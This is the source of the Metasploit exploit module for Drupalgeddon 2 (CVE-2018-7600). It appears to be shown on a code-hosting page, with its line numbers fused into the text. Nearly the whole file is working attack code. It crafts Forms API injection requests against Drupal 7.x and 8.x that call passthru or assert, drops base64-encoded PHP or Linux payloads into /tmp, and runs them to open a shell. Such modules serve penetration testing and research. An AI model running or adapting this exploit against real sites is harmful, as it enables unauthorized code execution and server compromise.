Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/unix/webapp/drupal_drupalgeddon2.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote67Rank = ExcellentRanking89include Msf::Exploit::Remote::HTTP::Drupal10# XXX: CmdStager can't handle badchars11include Msf::Exploit::PhpEXE12include Msf::Exploit::FileDropper13prepend Msf::Exploit::Remote::AutoCheck1415def initialize(info = {})16super(update_info(info,17'Name' => 'Drupal Drupalgeddon 2 Forms API Property Injection',18'Description' => %q{19This module exploits a Drupal property injection in the Forms API.2021Drupal 6.x, < 7.58, 8.2.x, < 8.3.9, < 8.4.6, and < 8.5.1 are vulnerable.22},23'Author' => [24'Jasper Mattsson', # Vulnerability discovery25'a2u', # Proof of concept (Drupal 8.x)26'Nixawk', # Proof of concept (Drupal 8.x)27'FireFart', # Proof of concept (Drupal 7.x)28'wvu' # Metasploit module29],30'References' => [31['CVE', '2018-7600'],32['URL', 'https://www.drupal.org/sa-core-2018-002'],33['URL', 'https://greysec.net/showthread.php?tid=2912'],34['URL', 'https://research.checkpoint.com/uncovering-drupalgeddon-2/'],35['URL', 'https://github.com/a2u/CVE-2018-7600'],36['URL', 'https://github.com/nixawk/labs/issues/19'],37['URL', 'https://github.com/FireFart/CVE-2018-7600']38],39'DisclosureDate' => '2018-03-28',40'License' => MSF_LICENSE,41'Platform' => ['php', 'unix', 'linux'],42'Arch' => [ARCH_PHP, ARCH_CMD, ARCH_X86, ARCH_X64],43'Privileged' => false,44'Payload' => {'BadChars' => '&>\''},45'Targets' => [46#47# Automatic targets (PHP, cmd/unix, native)48#49['Automatic (PHP In-Memory)',50'Platform' => 'php',51'Arch' => ARCH_PHP,52'Type' => :php_memory53],54['Automatic (PHP Dropper)',55'Platform' => 'php',56'Arch' => ARCH_PHP,57'Type' => :php_dropper58],59['Automatic (Unix In-Memory)',60'Platform' => 'unix',61'Arch' => ARCH_CMD,62'Type' => :unix_memory63],64['Automatic (Linux Dropper)',65'Platform' => 'linux',66'Arch' => [ARCH_X86, ARCH_X64],67'Type' => :linux_dropper68],69#70# Drupal 7.x targets (PHP, cmd/unix, native)71#72['Drupal 7.x (PHP In-Memory)',73'Platform' => 'php',74'Arch' => ARCH_PHP,75'Version' => Rex::Version.new('7'),76'Type' => :php_memory77],78['Drupal 7.x (PHP Dropper)',79'Platform' => 'php',80'Arch' => ARCH_PHP,81'Version' => Rex::Version.new('7'),82'Type' => :php_dropper83],84['Drupal 7.x (Unix In-Memory)',85'Platform' => 'unix',86'Arch' => ARCH_CMD,87'Version' => Rex::Version.new('7'),88'Type' => :unix_memory89],90['Drupal 7.x (Linux Dropper)',91'Platform' => 'linux',92'Arch' => [ARCH_X86, ARCH_X64],93'Version' => Rex::Version.new('7'),94'Type' => :linux_dropper95],96#97# Drupal 8.x targets (PHP, cmd/unix, native)98#99['Drupal 8.x (PHP In-Memory)',100'Platform' => 'php',101'Arch' => ARCH_PHP,102'Version' => Rex::Version.new('8'),103'Type' => :php_memory104],105['Drupal 8.x (PHP Dropper)',106'Platform' => 'php',107'Arch' => ARCH_PHP,108'Version' => Rex::Version.new('8'),109'Type' => :php_dropper110],111['Drupal 8.x (Unix In-Memory)',112'Platform' => 'unix',113'Arch' => ARCH_CMD,114'Version' => Rex::Version.new('8'),115'Type' => :unix_memory116],117['Drupal 8.x (Linux Dropper)',118'Platform' => 'linux',119'Arch' => [ARCH_X86, ARCH_X64],120'Version' => Rex::Version.new('8'),121'Type' => :linux_dropper122]123],124'DefaultTarget' => 0, # Automatic (PHP In-Memory)125'DefaultOptions' => {'WfsDelay' => 2}, # Also seconds between attempts126'Notes' => {127'Stability' => [CRASH_SAFE],128'SideEffects' => [],129'Reliability' => [],130'AKA' => ['SA-CORE-2018-002', 'Drupalgeddon 2']}131))132133register_options([134OptString.new('PHP_FUNC', [true, 'PHP function to execute', 'passthru']),135OptBool.new('DUMP_OUTPUT', [false, 'Dump payload command output', false])136])137138register_advanced_options([139OptString.new('WritableDir', [true, 'Writable dir for droppers', '/tmp'])140])141end142143def check144checkcode = CheckCode::Unknown145146@version = target['Version'] || drupal_version147148unless @version149vprint_error('Could not determine Drupal version to target')150return checkcode151end152153vprint_status("Drupal #{@version} targeted at #{full_uri}")154checkcode = CheckCode::Detected155156changelog = drupal_changelog(@version)157158unless changelog159vprint_error('Could not determine Drupal patch level')160return checkcode161end162163case drupal_patch(changelog, 'SA-CORE-2018-002')164when nil165vprint_warning('CHANGELOG.txt no longer contains patch level')166when true167vprint_warning('Drupal appears patched in CHANGELOG.txt')168checkcode = CheckCode::Safe169when false170vprint_good('Drupal appears unpatched in CHANGELOG.txt')171checkcode = CheckCode::Appears172end173174# NOTE: Exploiting the vuln will move us from "Safe" to Vulnerable175token = rand_str176res = execute_command(token, func: 'printf')177178return checkcode unless res179180if res.body.start_with?(token)181vprint_good('Drupal is vulnerable to code execution')182checkcode = CheckCode::Vulnerable183end184185checkcode186end187188def exploit189unless @version190print_warning('Targeting Drupal 7.x as a fallback')191@version = Rex::Version.new('7')192end193194if datastore['PAYLOAD'] == 'cmd/unix/generic'195print_warning('Enabling DUMP_OUTPUT for cmd/unix/generic')196# XXX: Naughty datastore modification197datastore['DUMP_OUTPUT'] = true198end199200# NOTE: assert() is attempted first, then PHP_FUNC if that fails201case target['Type']202when :php_memory203execute_command(payload.encoded, func: 'assert')204205sleep(wfs_delay)206return if session_created?207208# XXX: This will spawn a *very* obvious process209execute_command("php -r '#{payload.encoded}'")210when :unix_memory211execute_command(payload.encoded)212when :php_dropper, :linux_dropper213dropper_assert214215sleep(wfs_delay)216return if session_created?217218dropper_exec219end220end221222def dropper_assert223php_file = Pathname.new(224"#{datastore['WritableDir']}/#{rand_str}.php"225).cleanpath226227# Return the PHP payload or a PHP binary dropper228dropper = get_write_exec_payload(229writable_path: datastore['WritableDir'],230unlink_self: true # Worth a shot231)232233# Encode away potential badchars with Base64234dropper = Rex::Text.encode_base64(dropper)235236# Stage 1 decodes the PHP and writes it to disk237stage1 = %Q{238file_put_contents("#{php_file}", base64_decode("#{dropper}"));239}240241# Stage 2 executes said PHP in-process242stage2 = %Q{243include_once("#{php_file}");244}245246# :unlink_self may not work, so let's make sure247register_file_for_cleanup(php_file)248249# Hopefully pop our shell with assert()250execute_command(stage1.strip, func: 'assert')251execute_command(stage2.strip, func: 'assert')252end253254def dropper_exec255php_file = "#{rand_str}.php"256tmp_file = Pathname.new(257"#{datastore['WritableDir']}/#{php_file}"258).cleanpath259260# Return the PHP payload or a PHP binary dropper261dropper = get_write_exec_payload(262writable_path: datastore['WritableDir'],263unlink_self: true # Worth a shot264)265266# Encode away potential badchars with Base64267dropper = Rex::Text.encode_base64(dropper)268269# :unlink_self may not work, so let's make sure270register_file_for_cleanup(php_file)271272# Write the payload or dropper to disk (!)273# NOTE: Analysis indicates > is a badchar for 8.x274execute_command("echo #{dropper} | base64 -d | tee #{php_file}")275276# Attempt in-process execution of our PHP script277send_request_cgi(278'method' => 'GET',279'uri' => normalize_uri(target_uri.path, php_file)280)281282sleep(wfs_delay)283return if session_created?284285# Try to get a shell with PHP CLI286execute_command("php #{php_file}")287288sleep(wfs_delay)289return if session_created?290291register_file_for_cleanup(tmp_file)292293# Fall back on our temp file294execute_command("echo #{dropper} | base64 -d | tee #{tmp_file}")295execute_command("php #{tmp_file}")296end297298def execute_command(cmd, opts = {})299func = opts[:func] || datastore['PHP_FUNC'] || 'passthru'300301vprint_status("Executing with #{func}(): #{cmd}")302303res =304case @version.to_s305when /^7\b/306exploit_drupal7(func, cmd)307when /^8\b/308exploit_drupal8(func, cmd)309end310311return unless res312313if res.code == 200314print_line(res.body) if datastore['DUMP_OUTPUT']315else316print_error("Unexpected reply: #{res.inspect}")317end318319res320end321322def exploit_drupal7(func, code)323vars_get = {324'q' => 'user/password',325'name[#post_render][]' => func,326'name[#markup]' => code,327'name[#type]' => 'markup'328}329330vars_post = {331'form_id' => 'user_pass',332'_triggering_element_name' => 'name'333}334335res = send_request_cgi(336'method' => 'POST',337'uri' => normalize_uri(target_uri.path),338'vars_get' => vars_get,339'vars_post' => vars_post340)341342return res unless res && res.code == 200343344form_build_id = res.get_html_document.at(345'//input[@name = "form_build_id"]/@value'346)347348return res unless form_build_id349350vars_get = {351'q' => "file/ajax/name/#value/#{form_build_id.value}"352}353354vars_post = {355'form_build_id' => form_build_id.value356}357358send_request_cgi(359'method' => 'POST',360'uri' => normalize_uri(target_uri.path),361'vars_get' => vars_get,362'vars_post' => vars_post363)364end365366def exploit_drupal8(func, code)367# Clean URLs are enabled by default and "can't" be disabled368uri = normalize_uri(target_uri.path, 'user/register')369370vars_get = {371'element_parents' => 'account/mail/#value',372'ajax_form' => 1,373'_wrapper_format' => 'drupal_ajax'374}375376vars_post = {377'form_id' => 'user_register_form',378'_drupal_ajax' => 1,379'mail[#type]' => 'markup',380'mail[#post_render][]' => func,381'mail[#markup]' => code382}383384send_request_cgi(385'method' => 'POST',386'uri' => uri,387'vars_get' => vars_get,388'vars_post' => vars_post389)390end391392def rand_str393Rex::Text.rand_text_alphanumeric(8..42)394end395396end397398399